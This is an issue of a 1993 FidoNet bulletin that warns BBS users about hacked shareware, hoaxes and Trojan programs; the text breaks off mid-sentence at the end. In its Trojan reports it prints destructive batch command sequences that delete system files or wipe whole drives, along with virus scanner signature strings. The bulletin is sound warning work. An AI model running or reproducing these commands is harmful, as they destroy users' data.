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||
From the files of The Hack Squad: || by Lee Jackson, Moderator, FidoNet
|| Int'l Echos SHAREWRE & WARNINGS
The Hack Report || Volume 2, Number 7
for July 1993 || Report Date: July 4, 1993
||
=========================================================================
Welcome to the seventh 1993 issue of The Hack Report. This is a series
of reports that aim to help all users of files found on BBSs avoid
fraudulent programs, and is presented as a free public service by the
FidoNet International Shareware and Warnings Echos and the author of the
report, Lee Jackson (FidoNet 1:124/4007).
Your intrepid Hack Squad is beginning to wonder if chaos is the normal
state of affairs - the vacuum cleaners are working overtime, but the dust
still hasn't settled here at Hack Central Station since the move from
Kyle, TX to Garland, TX. However, even though a fever has slowed things
down on the last night of work on the report, the report is out. Look
for several sightings of attacks against the popular ARJ archiver again,
and for a rather gutsy move on the part of an author of a popular modem
communications program. Thanks to everyone who has helped put this
report together, and to those that have sent in comments and suggestions.
NOTE TO SYSOPS: The Hack Report may be freely posted as a bulletin on
your BBS, subject to these conditions:
1) the latest version is used,
2) it is posted in its entirety, and
3) it is not altered in any way.
NOTE TO OTHER READERS: The Hack Report (file version) may be freely
uploaded to any BBS, subject to the above conditions, and only if you do
not change the filename. You may convert the archive type as you wish,
but please leave the filename in its original HACK????.* format. The
Hack Report may also be cross-posted in other networks (with the
permission of the other network) as long as it meets the above conditions
and you give appropriate credit to the FidoNet International Shareware
and Warnings Echos (and the author <g>).
The idea is to make this information available freely. However, please
don't cut out the disclaimers and other information if you use it, or
confuse the issue by spreading the file under different names. Thanks!
DISCLAIMER: The listings of Official Versions are not a guarantee of the
files' safety or fitness for use Someone out there might just be
sick-minded enough to upload a Trojan with an "official" file name, so
>scan everything you download<!!! The author of this report will not be
responsible for any damage to any system caused by the programs listed as
Official Versions, or by anything using the name of an Official Version.
On this same note, programs and files listed in this report should not be
automatically considered dangerous. It is simply impossible for the
author of this report to receive and test copies of every listed file, so
many of the reports listed herein are based on information sent to the
author by individuals in the BBS community. For this reason, neither the
author of this report nor anyone officially associated with it shall be
held liable for any losses and/or damages resulting from a listing in
this report.
Finally, the releases listed as the latest Official Versions may not be
entirely accurate. However, they do reflect the latest version known to
the author of The Hack Report at the time of writing. That's the nature
of the beast we call shareware: authors have every right (and in this
writer's opinion, are well advised) to release a new version without
advance notice of any kind. If you see a version newer than one listed
here, please contact one of The HackWatchers or myself so that we can
keep these listings up to date.
*************************************************************************
Hacked Programs
Here are the latest known versions of some programs known to have hacked
copies floating around. Archive names are listed when known, along with
the person who reported the fraud (thanks from us all!).
Program Hack(s) Latest Official Version
======= ======= =======================
| ARJ Archiver ARJ250 ARJ241
Reported By: Tommy Vielkanowitz(1:151/2305)
ARJ239E
Reported By: The Hack Squad
| ARJ239G
| Reported By: The Hack Squad
ARJ240A
Reported By: Ryan Shaw (1:152/38)
ARJ300
Reported By: Mike Stowe (ITCNet, via HW Robert Hinshaw)
| Blue Wave Offline BWAVE213 BWAVE212
| Message Reader
| Reported By: Don Becker (grendel@jaflrn.linet.org)
BNU FOSSIL Driver BNU202 BNU170
Reported By: Amauty Lambrecht (2:291/712) (not counting betas)
BNU188B
Reported By: David Nugent (3:632/348),
Author of BNU
DMS Amiga Disk DMS version 1.12 DMS version 1.11
Masher
Reported By: Ben Filips, via Jay Ruyle (1:377/31)
F-Prot Virus Scanner FP-205B FP-208a
Reported By: HW Bill Lambdin
LhA Amiga Archiver LHA148E LHA138E (Shareware)
Reported By: Michael Arends (1:343/54) LHA v1.50r (Regist.)
LHA151
Reported By: Lawrence Chen (1:134/3002)
LHA Archiver (PC) LHA214 LHA213 (non-beta)*
Reported by: Patrick Lee (RIME address RUNNINGB)
LHA214B
ICE214
LHA215
Reported by: Kenjirou Okubo, LHA Support Rep.
(Internet address: kenjirou@mathdent.im.uec.ac.jp)
LHA300
Reported by: Mark Church (1:260/284)
MakeNL MKNL251 MKNL250
Reported by: Dan Guenthner (SAF-Net 44:900/200,
via HW Robert Hinshaw
MusicPlay MPLAY31 MPLAY25B
Reported By: Lee Madajczyk (1:280/5)
PKLite PKLTE201 PKL115
Reported By: Wen-Chung Wu (1:102/342)
PKZip PKZ301 PKZ204G
Reported By: Mark Dudley (1:3612/601)
Jon Grimes (1:104/332)
Shez SHEZ72A SHEZ90A
SHEZ73
Reported By: HW Bill Lambdin
Telemate TM40C TM400-1 through 4
Reported By: Philip Dynes, RIME Telemate conference,
via HW Richard Steiner
TM401
Reported By: HW Richard Steiner
TM410-1
Reported By: Bat Lang (1:382/91)
Telix Telix v3.20 TLX321-1
(Prior to Dec. 1992) TLX321-2
Telix v3.25 TLX321-3
Reported By: Brian C. Blad (1:114/107) TLX321-4
Peter Kirn (WildNet, via HW Ken Whiton)
Telix v4.00
Telix v4.15
Reported By: Barry Bryan (1:370/70)
Telix v4.25
Reported By: Daniel Zuck (2:247/30, via Chris
Lueders (2:241/5306.1)
MegaTelix
Verified By: Jeff Woods, deltaComm, Inc.
Telix Pro
Reported By: Jason Engebretson (1:114/36),
in the FidoNet TELIX echo
TheDraw TDRAW430 TDRAW461
TDRAW5
Reported by: Ian Douglas (5:7102/119)
TDRAW500
Reported by: Ian Davis, Author
TDRAW550
Reported by: Steve Klemetti (1:228/19)
TDRAW600
Reported by: Hawley Warren (1:120/297)
THEDR60
Reported by: Larry Owens (PDREVIEW echo, 1:280/17)
TDRAW601
Reported by: Jesper Tragardh (2:200/109)
TDRAW800
Reported by: James Carswell (1:153/775)
Wolfenstein-3D WOLF2-1 #1WOLF14
WOLF2-2
Reported By: Wen-Chung Wu (1:102/342)
| WFSF2-IA
| Reported By: Jared Huber (1:203/762)
* - See the section "Clarifications and Thanks" for details on
other valid version numbers for LHA.
=========================================================================
Hoax Alert:
HW Mikael Winterkvist reports that he received a program for study from
Patrik Sjoberg, the author of Febbs. The program Patrik found was called
VIP and claimed to be a "new, easy to use archive-program" called "Visual
Illusions Pack."
Mikael and Patrik both studied the program and determined that it was
merely an altered version of the LHA Archiver v1.13. To make matters
worse, the "author" asked for a registration fee. Save your money.
The Hack That Wouldn't Die has reared its ugly head again: XTRATANK is
still floating around out there, according to a sighting by Mike Ledoux
(1:132/202). This file was reported in detail in the 1992 Full Archive
Edition of The Hack Report (HACK92FA), but it seems to be so unwilling to
go away that it is mentioned again here. For those of you new to The
Hack Report, XTRATANK is a confirmed and tested hoax that does _not_
double your hard drive space, regardless of what you might see when you
do a DIR command. If you have doubts, try the Fitzgerald test below.
*** The Fitzgerald Test
Here is the now-famous Fitzgerald Test, devised by Tim Fitzgerald of
1:3800/18.0 and validated through testing performed by Bill Logan of The
Pueblo Group (1:300/22). Try this if you think you have managed to get
XTRATANK to work on your system. Follow these simple steps:
1. Run CHKDSK and write down the free space it reports as free.
2. Do a DIR command and write down what XTRATANK reports.
3. Copy any text file to a new text file.
4. Repeat steps 1 and 2, and compare.
You will see that XTRATANK reports that twice as much disk space is taken
up by the new text file.
Michael Toth (1:115/439.7) has located another incident of the Amiga
Emulator hoax, reported in the 1992 Full Archive Edition of The Hack
Report as AMIGA. This time, the file was under the filename IBM_AMGA,
and contained the following internal files:
Name Length Method Size now Mod Date Time CRC
============ ======== ======== ======== ========= ======== ========
README.USA 393 Imploded 338 10 Apr 91 18:07:06 2CF72B62
EMULATOR.EXE 273947 Imploded 157084 15 Sep 90 01:00:00 02A68881
============ ======== ======== ======== ========= ======== ========
*total 2 274340 ZIP 1.10 158592 13 Oct 91 11:28:00
The file claims to emulate Kickstart 1.2, version 33.192, on an IBM
compatible. Michael's tests show that this file doesn't do much, if
anything - 15 minutes worth of waiting after running the program produced
no results.
Recently, an archive of Frisk's (a.k.a. Fridrik Skulason's) F-Prot Virus
Scanner v2.07 has been distributed with a "registration form" from a
company called JLT. According to Frisk, this is not legitimate. He says
that JLT contacted him in the fall of 1992, asking if they could
distribute F-Prot, collect registration fees, and forward 50% of the fees
to him. Frisk didn't want them to do this, but it appears that an
archive with the "registration form" may have slipped into distribution.
In Frisk's words, "...this version is most certainly not something that I
want distributed."
From the "Not Really A Program, but Interesting Anyway" department, a
"press release" has entered distribution, claiming that PKWare Inc. has
filed for Chapter 11 bankruptcy. The letter is dated Friday, February
26, 1993, and supposedly quotes Mark Gresbach of PKWare in the statement.
However, in a message posted in the CompuServe PKWARE forum on March 1,
1993, PKWare employee Douglas Hay states that this is not true. Douglas
also points out that the perpetrator of the hoax misspelled the word
Milwaukee (as 'Milwaukie'), and that one of the three phone numbers in
the message for PKWare is wrong. In short, ignore the letter - PKWare
has _not_ filed bankruptcy.
Other previously reported hoaxes:
Filename Claimed use/Actual activity/Reporter(s)
============ ==========================================================
PKZ305 Hacked "new version" of PKZip. However, a message in wide
circulation claimed this was infected with a virus called
PROTO-T. This message is the actual hoax: there may be
one or more PROTO-T viruses around now, but none do what
was claimed in the hoax message. This hack, PKZ305, was
not infected with any virus, nor did it contain Trojan
code, per testing by Bill Logan (1:300/22), HW Jeff White,
and HW Bill Lambdin.
RAOPT "Optimizes" your RemoteAccess BBS files and claims to be
from Continental Software. Actually does nothing but read
your USERS.BBS file and report the number of users. The
program is _not_ from Continental Software, according to
Andrew Milner. Reported by Kai Sundren (2:201/150), via
HW Mikael Winterkvist.
SCORCHV2 Claims to be v2.0 of the game Scorched Earth: this version
doesn't yet exist. Actually a renamed archive of version
1.2. Reported by Brian Dhatt (1:3648/2.5).
=========================================================================
The Trojan Wars
Users of IBM-compatible computers aren't the only folks susceptible to
Trojan attacks: previous reports, and a new sighting in this month's
report, would prove this statement. Amiga users would be wise to take a
look further into this section of the report for details. If you own an
Amiga and this is your first time to read the report, please join us in
this tradition - put the kids to bed, sit back, and read on.
| The most widely reported incident this month concerned Winfred Hu's
| Telemate program, v4.11. Winfred himself has confirmed that an internal
| self-extracting archive, VESA.EXE, which is part of the archive TM411-4,
| contains two files that are infected with the Butterfly virus. These
| files, in the archive subdirectory OAK, are 37VESA.COM and 67VESA.COM.
| The infection can be detected by F-Prot v2.08a.
|
| Winfred has since distributed a replacement archive, TM411-4A, which does
| not contain these files. He has asked that anyone who has the infected
| archive delete it and replace it with TM411-4A. He also stresses that
| neither Telemate or GIFLink (part of the Telemate package) are infected -
| only the two VESA drivers.
|
| Editorial - as I've said before, it takes a lot of courage for an author
| to publicly announce such a problem with their software. Winfred Hu is
| to be commended for his handling of this situation, and for the prompt
| action he has taken to resolve it.
| Gary Marden (2:258/27) has located a Trojan version of a file that was
| quite popular last year - USRPATCH. This was originally distributed as a
| "patch" to the ROMs of a certain modem that would take advantage of a bug
| left in the ROM chips in order to upgrade the modem to faster speeds.
|
| However, this Trojan takes advantage of your system instead of your
| modem. At first look, it appears to be a mutation of the BILLNTED Trojan
| reported last year by David Elkins (2:254/78). Gary says that it acts
| more like the QOUTES Trojan reported later in this section. It displays
| the following messages once you invoke the internal USRPATCH.EXE file:
|
| Please wait, extracting user files.Bill'N'Ted have begun their
| bogus journey...
| Bill'N'Ted have begun their bogus journey.
| Looks like an Evil Robot Bill'N'Ted have trashed your drive, dude!
|
| At this point, your prompt turns into a simple "C>". If you press Enter,
| your screen displays the message, "So long, suckers!", and then clears,
| leaving you with a system that is quite useless.
|
| Gary's test, performed on an MFM drive, resulted in a hard drive with the
| first 128 cylinders low-level formatted. This included the partition
| table, boot sectors, and FATs. Repair is not possible using FDISK alone,
| since the first 128 cylinders remain inaccessible. The only practical
| repair is to perform your own low-level format, followed by FDISK and a
| high-level format.
|
| Gary did not test this with an IDE drive, but I am willing to wager that
| he would have had the same results. Repair would not have been as
| simple, however - unless you have some heavy-duty IDE utility software,
| you'd have to send your drive back to the manufacturer for a low-level
| format. Most bogus indeed.
| HW Emanuel Levy forwarded a report from John Rose (1:106/6001) about
| FORUM30. The file, according to John, was "cleverly disguised as a 'new
| BBS package'...." However, John says it formatted both of his hard
| drives.
| Andrew Barnhardt (1:247/301) forwarded a post from Dom D'amato
| (1:141/510) about an Amiga Trojan/dropper in circulation. The file,
| MCHECK, claims to be a modem test utility. However, the original
| reporter, Luca Spada (2:331/106.0), states that this file reports that
| your modem is "OK" even if no modem is attached to your system.
| Apparently, the Trojan monitors the keyboard for activity - if you leave
| it alone for 5-10 minutes, it begins to overwrite random tracks on your
| hard drive with endless obscenity. Luca says it can reduce all of your
| partitions to garbage in about 4 seconds.
|
| Another unidentified user reported that the Trojan looks for the presence
| of an antiviral background program called SnoopDos - if it finds it, it
| deactivates it.
|
| The archive contains these two files:
|
| Modemcheck.doc 2227 Bytes
| Modemchecker 15516 Bytes
|
| Definitely sounds like one that Amiga users should avoid.
| HW Ken Whiton forwarded a message from Wildnet user Kevin Tischler about
| an incident of a tampered version of the AVScan antiviral tool, AVSCAN83.
| This file supposedly contains an internal file called VIRUS.DAT, which is
| "sometimes unzipped" by the host program, leaving five files behind.
| These five files are 911.COM, YANKEE.COM, SYSLOCK.COM, ANTHRAX.COM, and
| "a program reporting to be an icon viewer/maker called rim300.zip."
| Kevin reports that MicroSoft AntiVirus (part of MS-DOS 6.0) was able to
| detect the infection - from the way it looks, the first 4 files are the
| real things.
| Ryan Thompson (1:124/2213) reports that one of his users found a file
| calling itself ARJ240, claiming to be the non-beta release of the next
| ARJ archiver. This immediately trips a flag, since the author of ARJ,
| Robert Jung, has publicly stated that there would never be a version with
| this number (due to an earlier hack by the same name).
|
| In any case, the file appears to be not merely a hack, but a simplistic
| Trojan. The program that was altered to do the damage was REARJ.EXE.
| When Ryan's user ran it, it copied a file called SINBAUD.EXE to the root
| directory and re-wrote the user's autoexec.bat file to invoke this file.
| The SINBAUD file, according to Ryan's inspection, contained "a few
| hard-coded CHKDSK messages, some stuff for displaying a fake DOS prompt",
| and a few other messages. He did not run the SINBAUD program, which is
| just as well - the overwrite of the autoexec.bat is enough to merit
| Trojan status.
| As many of you might know, The Hack Report does not include listings of
| programs designed to "crack" or "register" other programs. I feel that
| these files don't need the free publicity that they would get from a
| listing in this report, and that the act of listing might make someone go
| out looking for a copy of one of them. (See Ray Bradbury's short story,
| "Downwind from Gettysburg," from the collection "I Sing the Body
| Electric!", for an insight to your Hack Squad's thinking on this
| subject.)
|
| However, a report from David Jones (1 @ 2950 WWIVnet, Internet address
| 87-2950@wwiv.tfsquad.mn.org) merits an exception to this rule. He has
| found a file called RPIT352C, a copy of the online game "The Pit" with a
| "special program that will automatically register it for you." Inside
| the archive is a README.COM file that is infected with the Leprosy virus.
|
| This is a good reason to not even download these "cracks" - you never
| know what you're getting into.
Rod Fewster (3:640/886) reported in the FidoNet VIRUS Echo on a file
called TNN202 that he tested. This file apparently contains at least 3
files named TNN.EXE, TNN.OV1, and TNN.OV2. TNN.EXE displays the
following message:
TNN Anti-Virus (C) 1992-1993 by Syn Labs Inc. Version 2.02.
Configuring, Please wait....
At this point, the program renames TNN.OV1 to TNN1.EXE, and TNN.OV2 to
TNN2.COM. According to Rod, TNN1.EXE is the "RABID" Trojan, while
TNN2.EXE is the Beta 1 Trojan. RABID "whacks out your HD's boot sector,"
apparently filling it with a rather obscene message. The Beta 1 Trojan,
on the other hand, executes the following sequence of commands:
C:
CD DOS
DEL COMMAND.COM
CD\
DEL COMMAND.COM
RENAME AUTOEXEC.BAT TEMP.BAT
RENAME CONFIG.SYS AUTOEXEC.BAT
RENAME TEMP.BAT CONFIG.SYS
CD DOS
DEL *.EXE
It then displays its own obscene message on your screen. Rod says that
TNN.EXE then displays the following message (edited for television):
GOODBYE D*******. Wave Ta-Ta to your hard disk.
Next time, dont enter messages to a public echo if you have
no idea what you are talking about.
Love David Humes.
Rod's results show that TNN.EXE is simply a "loader" for the two Trojans,
and not dangerous by itself. He also states that there are other files
used to "pad out the archive," which are ancillary files from a program
called VirusBuster v3.91.
Thanks to Rod for posting his results. This was definitely a nasty
little beggar of a Trojan.
HW Hinrich Donner forwards reports from Zone 2 of a "trainer" for the
game Strike Commander which doesn't appear to act as it should. The
archive was distributed under the filenames SCTRNUNT and SC-TRN.
SCTRNUNT contains the following files:
!HIREZ COM 6888 19.04.93 23:26
SCTRNUNT EXE 6442 18.04.93 12:49
UNT EXE 11431 18.04.93 12:30
SILVER NFO 81 19.04.93 23:26
SWIFT NFO 3785 18.04.93 12:12
UNT NFO 11483 18.04.93 12:26
Note that the SC-TRN archive contents were not forwarded, but the
following file size and description were:
SC-TRN.ARJ 9129 Strike Commander - Trainer by [UNT]
The file which appears to do the damage, SCTRNUNT.EXE, does so by
destroying your root directory, partition table, FAT1, and FAT2.
Teo Chee Kian (6:600/600) received a file called GIF_TSR which claimed to
convert .gif files to "Photo-like Graphics." However, the file is
actually a compiled batch file which seeks out and deletes all
"important" files in your DOS, QEMM, WINDOWS, STACKER, and some other
directories. It also deletes MSDOS.SYS, IO.SYS, COMMAND.COM, CONFIG.SYS,
and AUTOEXEC.BAT - it calls ATTRIB.EXE to remove the hidden, system, and
read-only attributes when necessary. Definitely a file to avoid.
Emmanuel Bataille (2:320/7) forwarded a message from Serge Ayotte
(Internet, rider@geolser.login.qc.ca) about a possible isolated incident
of an infected copy of the BNU FOSSIL Driver, version 1.88 beta
(BNU188B). The archive Serge found was infected with the Screaming Fist
650 virus. Serge goes on to say that the infection is detectable by
version 104 of McAfee's ViruScan, but not by version 102.
Rod Fewster (3:640/886) reports that there are two other dangerous
versions of BNU, under the filenames BNU200 and BNU202 (see also the
"Hacked Files" section of this report). He says that they are identical
except for differences in the documentation files and internal messages,
and that both attack your hard drive's partition table and master boot
record (MBR).
Note that there is a real version 1.88 beta of BNU, but it was not
intended for public release, according to the author of BNU, David
Nugent. The latest official public release of BNU is v1.70.
HW Nemrod Kedem (2:403/138) reports that a new Trojan has been found in
Israel, named RASPEED. He forwards the following archive information:
Archive: RASPEED.ARJ
Name Length Method SF Size now Mod Date Time CRC
=========== ======== ======= ==== ======== ========= ======== ========
RASPEED.EXE 29120 Comp-1 37 18242 21 May 93 08:51:14 B9717331
RASPEED.DOC 4344 Comp-1 66 1443 21 May 93 12:46:36 194BB7EB
FILE_ID.DIZ 611 Comp-1 57 262 20 May 93 10:13:48 0E680542
=========== ======== ======= ==== ======== ========= ======== ========
*total 3 34075 ARJ 4 40% 21310 29 May 93 21:16:56
The program is aimed at RemoteAccess BBS Systems - it copies the
USERS.BBS file over to a file called JACKLINE.GIF located in the first
file area listed in your FILES.RA file. It also adds a description to
the FILES.BBS file that reads "JACKLINE.GIF (640x480x256)".
This program works with RA v1.11, but not with RA v2.00 gamma. A full
text of Nemrod's results can be found in the file RASPEED.RES, part of
the FILETSTS.LZH archive found in the archive version of The Hack Report.
David Snider, a user of Douglas Taylor's system (1:147/1077), reports via
the FidoNet DIRTY_DOZEN echo on a file called BRE0911. Apparently, a
file inside this archive called UPDATE.COM is infected with a virus (no
name given) which David says is only detectable by MS-DOS 6.0's VSAFE
program. The virus in question re-writes your COMMAND.COM file, adding
to it slowly over a period of time: a fellow sysop who was infected for
8 days wound up with a COMMAND.COM file over 70K in size.
| According to David's report, there is a legitimate release of this
| program, under the filename BRE0910. He did not describe what the real
| program was, however, nor did he provide any archive statistics. All he
| said was that "nothing above BRE0910 is legal". Shawn McMahon
| (1:206/1701.66) says that this sounds like "Barren Realms Elite," a BBS
| door game.
Now, some info on a DEBUG script forwarded by Jack Cross (1:3805/13) from
the FidoNet BATPOWER echo. The script, which has generated a great deal
of discussion, created an archive (LZH) of the program TinyCache
(filename TNYCACHE), claiming to be a small disk cache.
As soon as the script was posted, folks started reporting symptoms of
destructive activity: destroyed FATs and reformatted hard drives were
been reported after this program was run.
Prior to the publication of the April edition of this report, I tried a
feeble attempt at analyzing this program myself. However, as I have said
before to folks who contact Hack Central Station, I'm a reporter, not an
AV expert. So, I forwarded a copy of this script to HW Jeff White of The
Pueblo Group for testing. Others ran their own tests, and still others
forwarded the resulting archive for further testing. The reports (which
are _far_ too numerous to credit in their entirety - please accept my
thanks for your help!) had some similar results, but left some confusion
as to what this file actually is.
All of the reports indicate that the unarchived file, TNYCACHE.COM, is
compressed with PKLite and that the PKLite ID header was edited out of
the resulting file. Once decompressed, McAfee's SCAN reported that the
file was infected with the Taiwan3 [T3] virus, and Frisk's F-Prot
detected the AnitCAD virus.
This is where things get wierd. Bill Dirks (1:385/17) reported that
there were two versions of the file - TNYCACHE.EXE and TNYCACHE.COM. He
also said that the .exe version is actually a renamed copy of the SCCHECK
Trojan, and that the .com version is "hacked to include a hacked version
of the AntiCAD virus."
Bill included the following scanner strings for use with McAfee's SCAN:
"2BC00221200961642E6578652004" Pklited-Anticad
"46048B4E068B56088B5E0CCD261B" Sccheck-Trojan
The second string can also be used with Frisk's F-Prot as a user string,
as long as you inform the program that it is a .com/.exe infector.
However, Bob Stettina, a user at 1:382/77, had a different analysis of
this file, based on a report he says he received from Spencer Clarke of
McAfee Associates. Bob also decompressed the PKLited .com file and
received a Taiwan3 [T3] report from McAfee's SCAN v102. After this, he
uploaded the file to McAfee Associates.
The report received from Mr. Clarke said, according to Bob, that this
file is "a unique/new Trojan, and it is *NOT* actually infected with a
virus: rather, this Trojan includes a segment of code that is
accidentally 'recognized' by SCAN as the Taiwan3 virus." The report also
stated that other scanners gave off false alarms on this file. Finally,
Bob goes on to say that this file does not replicate: since the ability
to reproduce is part of the basic definition of a virus, Bob concludes
that this one fails that test and is therefore a Trojan.
HW Jeff White's test results tended to agree with the majority of the
reports: the .com file was simply infected with the Taiwan3 [T3] virus,
and was capable of being "cleaned" by McAfee's Clean-Up v102.
| This has been a fascinating study in program analysis. Unfortunately,
| the story does not end here. Oliver Bladek (1:134/49) has found the file
| posted as an archive on a BBS under the filename TNYCACHE. The file
| exhibited the same symptoms reported above. It would seem, therefore,
| that whatever the program actually is, be it virus, Trojan, or whatever,
| it has been re-created from the DEBUG script by someone, not run on their
| system, and later absent-mindedly uploaded as an archive to a BBS. If
| you see this file, make sure it's the same one we're talking about here:
| if it is, delete first and ask questions later.
Andy Thomas (1:125/217) forwarded a report from Allan Thomas (Smartnet
Virus Conference) about an infected copy of the archive BBSLAWS. The
archive contained two files - NEWLAWS.TXT and README.COM. The .txt file
seemed to be for real, but the .com file was another story. According to
Allan, the program displays the following message just before it locks up
your system:
"Install v1.0 (c) Vivid Imaginations, Ltd. All rights reversed."
As Allan points out, note the spelling of the last word in the above
quote: quite subtle. The damage you will find after you reboot is not
so subtle, though - the program at least overwrites your MBR and 1st FAT,
deletes itself, and overwrites the remnants of itself with garbage to
hide the evidence. When it overwrites itself, it writes enough bytes to
cover every sector it used to occupy, resulting in a write of more bytes
than the original file size.
Paul Harney (1:107/579) forwarded a message from a user, Rod Fewster,
concerning a sighting of something claiming to be PKZip v2.04I. The
file, a self-extracting archive called PKZ204I, shows a "valid"
authenticity verification on unpacking. However, Rod says both the
internal files PKZIP.EXE and PKUNZIP.EXE "whack out your CMOS settings
totally as soon as they're run." No other damage was reported.
Here are the vital stats, as provided by Rod:
"Archive date is 02-22-93 20:35.
"All files are dated 02-22-93 02.04 except pkunzip.exe
which is dated 02-22-93 20:34."
Rod also provided a comparison between v2.04g and this file's
executables:
"v2.04g filesizes are: pkzip.exe 42166 pkunzip.exe 29378
v2.04i filesizes are: pkzip.exe 42186 pkunzip.exe 29398"
Chuck Gustafson (1:2201/33) forwarded to the FidoNet echo DIRTY_DOZEN a
report from Brian Buchanan (Brian Buchanan #1 @8251 VirtualNET) about the
file FDFORM. This appears to be an isolated incident of a Trojan version
of the legitimate program FDFormat. The .zip archive was only 13106
bytes long, and contained the files FDOCS.PAK (317 bytes), FDFORMAT.PAK
(11366 bytes), and FDSETUP.BAT (174 bytes). The .bat file contains the
following commands:
@echo off
cls
echo Analizing system configuration...
@echo off
ren fdocs.pak fd.exe
echo Unpacking files...
echo (This may take a few minutes)
fd c:\
fd d:\
fd e:\
The problem here is that the file FDOCS.PAK is actually a renamed copy of
a program called NHUE, which according to Brian is a utility that deletes
all files and sub-directories in the directory specified on the command
line. If you look at what happens in the .bat file, you'll note that
NHUE, originally renamed FDOCS.PAK, is re-renamed to FD.EXE and is called
for drives C: through E:, potentially wiping out everything on these
drives.
Lee Noga (1:3618/23), apparently one of the folks associated with the
PowerPak Gold '92 Shareware CD-ROM disk, asked that I help warn folks of
a Trojan file on their disk called MWARS20. This file, which has been
seen in other locations, contains two files, DEMO.EXE and READTHIS.COM,
which appear to be the main culprits. According to a report from Scott
Catterill (Intelec PC-Security conference, via HW Bill Lambdin and based
on info from Dave Comeau), both files contain the following text:
eat this. REVENGE!. Melting Memory!. Maybe next time, you won't steal
people's Passwords and get them ****** off at you... I hope you backed
up your hard drive!
Scott says both will try to low-level format your hard drive. However,
according to Lee Noga's report, the program acts a bit differently. The
copy on the PowerPak CD-ROM contains the following files:
MWARS.BAT 128 07/17/92
MWARS20.EXE 15864 02/15/92
MWARS20.DOC 2058 07/17/92
NOTE.DOC 309 01/01/80
YANG.ME 121 07/17/92
INSTALL.EXE 39080 06/14/90
DEMO.EXE 5470 04/22/90
DOMENOW.COM 937 09/24/90
READTHIS.COM 5470 04/22/90
Lee says the program does its damage via the .bat file, via DEMO.COM, and
via DOMENOW.COM - all three are dangerous, as they will scramble your
hard drive's FAT table. The same message as Scott reports will appear,
but if you reboot during its display, you may be able to abort the
Trojan's damage. Lee also notes that the game itself was untouched: if
you don't invoke it via the .bat file, it will run just fine. Bizarre.
(Editorial - I appreciate the effort taken by vendors to inform the
public of a problem with their product. Even if the publicity hurts
sales, the loss can't be worse than the potential loss caused by a
perception that a company doesn't care about whether or not their product
is dangerous. This is not an indictment of _any_ company or author: it
is merely intended to encourage companies and authors to report attacks
against and/or problems with their products as soon as they learn of
them. My life would be _so_ much easier. <g> -lj)
Tom Guelker (1:2250/26) posts in the FidoNet DIRTY_DOZEN echo a report of
a Trojan called SINBAD. It claims to be a file transfer protocol
utility, but it actually throws your system into a perpetual loop by
overwriting your AUTOEXEC.BAT file. The new AUTOEXEC.BAT (as well as
SINBAD.EXE) becomes read-only and invokes SINBAD.EXE, which again
overwrites AUTOEXEC.BAT with the same info (apparently turning off the
read-only bit first <?>), etc. ad nauseum. Definitely sounds irritating,
but not dangerous unless you don't have a copy of your original
AUTOEXEC.BAT file: you can bypass the loop by booting from a known
clean, write-protected system disk, and then use a utility such as the
MS-DOS 4.01 and above ATTRIB.EXE to remove the read-only bit. This will
allow you to delete the offending .bat file and replace it with a copy of
your original, or to re-write it if you didn't have a backup.
Henry Shaw (1:261/1177, via Jack Cross, 1:3805/13) reports on TAGCRASH, a
supposed utility or crack of some sort for TAG BBS systems. Henry says
the archive contained the internal file TAGUTIL.COM, which started off in
your \BBS directory and "worked its way through the obvious choices of
\TAG and \MULTI till it found all the .DAT files, .LST files and
everything else that pertained to a TAG board." These files would be
deleted when found. An easy way to trash a TAG system, Henry says.
HW Richard Steiner forwarded a message from the ILink Shareware_Support
conference by Bob Feldman concerning an archive named HSDIAG. Bob stated
that this file is a Trojan. Bob posted further details on the ILink
Virus conference (forwarded by HW Bill Lambdin), and also sent a copy of
the file to R. Wallace Hale, SysOp of the Driftnet BBS ((506)325-9002).
Mr. Hale did preliminary testing of the file, and was able to determine
that it will at least try to overwrite the first 255 sectors on the first
eight drives in a system, including floppy drives. For the full text of
Mr. Hale's report, as forwarded by HW Bill Lambdin and James FitzGibbon
(1:250/301), please obtain the archive version of The Hack Report and see
the file HSDIAG.RES, located inside the internal archive FILETSTS.LZH.
HW Jeff White received a file for testing called ANSIVIEW.COM, which has
apparently been seen inside a couple of archives, most often ANSI
collections. The copy Jeff received for testing is infected with the
AIDS [N1] virus, and cannot be disinfected by either McAfee's Clean-Up or
the AIDSOUT utility. The infection is detectable by McAfee's SCAN. Yet
another of The Hack Squad's 2048 reasons to check everything you download
for viruses.
HW Scott Raymond has cleared up a discrepancy that I had in previous
reports concerning the file BWAVE_3. This was listed as a hack of the
Blue Wave Offline Reader, but according to the report received by Scott
from a user in Australia, the file is actually a Trojan. The user in
Australia reported that the Trojan trashed partitions and boot sectors,
in addition to attacking RemoteAccess BBS data files. According to
Scott, this is the same file reported by Frans Hagelaars (2:512/2).
Please note that this Trojan was discovered prior to the release of
BWAVE212, version 2.12 of the reader.
| More Australian sightings come from Greg Miller (3:711/454), via HW
| Emanuel Levy, and Nigel Hunt (3:712/218). No archive name was given, but
| the file again claimed to be version 3.0 of Blue Wave. It didn't exhibit
| any dangerous behaviour, but it does seem to at least be related to the
| above file: it doesn't do QWK packets (v2.12 does), and it has no delay
| screen for unregistered users.
Vincent Aniello (aniello@gauss.rutgers.edu) reported a "back door" for
use when logging onto Renegade BBS systems. This file, RGBACKDR, claims
to allow you to log onto any Renegade board with SysOp privileges.
Instead, it makes a beeline for several key files on _your_ system and
deletes them. For the full text of the test results, as performed by HW
Jeff White of The Pueblo Group, see the file RGBACKDR.RES in the archive
FILETSTS.LZH, found in the archive version of The Hack Report.
Maynard Marquis (1:141/328) forwarded a message to the FidoNet Int'l Echo
WARNINGS from Joel Lambert about a file called TW-CHEAT. This claims to
be a cheat file for Tradewars 2002, and contains the following files:
TW-CHEAT EXE 6306 03-09-93 9:47p
SIN COM 535 03-09-93 9:47p
He did not say which file he ran, but one of these displayed "some
unrelated menu" and then returned to DOS. Apparently, Joel later
rebooted, at which point the BOOTSAFE program (part of Central Point
Antivirus) reported that his system had been infected with the Tequila
virus. Fortunately, he was able to remove the infection. He hopes. I
hope so too, for his sake.
Michael Heinbockel (2:242/316) found a file on a BBS in Hamburg, Germany,
called PARITY. This file renames your AUTOEXEC.BAT file to AUTOEXEC.BAK,
creates a new AUTOEXEC.BAT file with the single line C:\DOS\PARITY.EXE,
and then tries to copy itself to your C:\DOS\ directory. It usually
hangs the system during the copy attempt, resulting in the file not being
copied. It may be a Trojan that doesn't work, but it is still a Trojan.
Several reports came in on yet another Trojan attack against McAfee's
SCAN - this time, under the filename SCANV103. The first report came via
